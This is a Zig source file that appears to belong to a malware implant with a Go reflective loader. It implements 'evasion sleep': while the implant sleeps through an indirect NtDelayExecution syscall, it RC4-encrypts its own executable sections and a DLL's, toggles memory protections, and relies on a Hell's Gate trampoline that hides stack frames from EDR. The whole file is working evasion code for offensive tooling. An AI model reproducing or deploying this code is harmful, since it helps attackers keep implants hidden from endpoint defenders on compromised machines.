const api = @import("api.zig"); const syscall = @import("syscall.zig"); const win = @import("win32.zig"); var g_text_base: ?[*]u8 = null; var g_text_size: usize = 0; var g_go_text_base: ?[*]u8 = null; var g_go_text_size: usize = 0; // Called from Go reflective loader — DLL .text bounds. pub fn init_text_region(base: [*]u8, size: usize) void { g_text_base = base; g_text_size = size; } // Called from Go — implant's own .text bounds. pub fn init_go_text_region(base: [*]u8, size: usize) void { g_go_text_base = base; g_go_text_size = size; } fn encrypt_region(base: [*]u8, size: usize, key: *[16]u8) void { var img: api.USTRING = .{ .Buffer = base, .Length = @as(u32, @intCast(size)), .MaximumLength = @as(u32, @intCast(size)), }; var key_struct: api.USTRING = .{ .Buffer = key, .Length = 16, .MaximumLength = 16, }; var base_ptr: ?*anyopaque = @ptrCast(base); var region_size: win.SIZE_T = size; var old: win.DWORD = 0; _ = syscall.nt_protect_virtual_memory( syscall.nt_current_process(), &base_ptr, ®ion_size, win.PAGE_READWRITE, &old, ); if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct); } fn decrypt_restore(base: [*]u8, size: usize, key: *[16]u8) void { var img: api.USTRING = .{ .Buffer = base, .Length = @as(u32, @intCast(size)), .MaximumLength = @as(u32, @intCast(size)), }; var key_struct: api.USTRING = .{ .Buffer = key, .Length = 16, .MaximumLength = 16, }; if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct); var base_ptr: ?*anyopaque = @ptrCast(base); var region_size: win.SIZE_T = size; var old: win.DWORD = 0; _ = syscall.nt_protect_virtual_memory( syscall.nt_current_process(), &base_ptr, ®ion_size, win.PAGE_EXECUTE_READ, &old, ); } // RC4-encrypted sleep. // Encrypts Go .text and DLL .text, sleeps via NtDelayExecution, decrypts both regions. // Stack zeroing (EDR frame walk guard) is handled by the asm trampoline in hells_gate.s: // it captures entry RSP, zeroes the return address before reaching us, and restores it // after we return. // Ref: SystemFunction032 (Windows RC4), ThreadStackSpoofer (mgeeky) pub fn evasion_sleep(ms: u32) void { var dll_key: [16]u8 = undefined; var go_key: [16]u8 = undefined; for (0..16) |i| { dll_key[i] = @as(u8, @truncate(syscall.xorshift64())); go_key[i] = @as(u8, @truncate(syscall.xorshift64())); } // Encrypt Go .text first if bounds are set. if (g_go_text_base != null and g_go_text_size > 0) { encrypt_region(g_go_text_base.?, g_go_text_size, &go_key); } // Encrypt DLL .text. if (g_text_base != null and g_text_size > 0) { encrypt_region(g_text_base.?, g_text_size, &dll_key); } // Sleep via indirect syscall — no Go runtime active. var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000); _ = syscall.nt_delay_execution(0, &interval); // Decrypt DLL .text. if (g_text_base != null and g_text_size > 0) { decrypt_restore(g_text_base.?, g_text_size, &dll_key); } // Decrypt Go .text. if (g_go_text_base != null and g_go_text_size > 0) { decrypt_restore(g_go_text_base.?, g_go_text_size, &go_key); } @memset(&dll_key, 0); @memset(&go_key, 0); }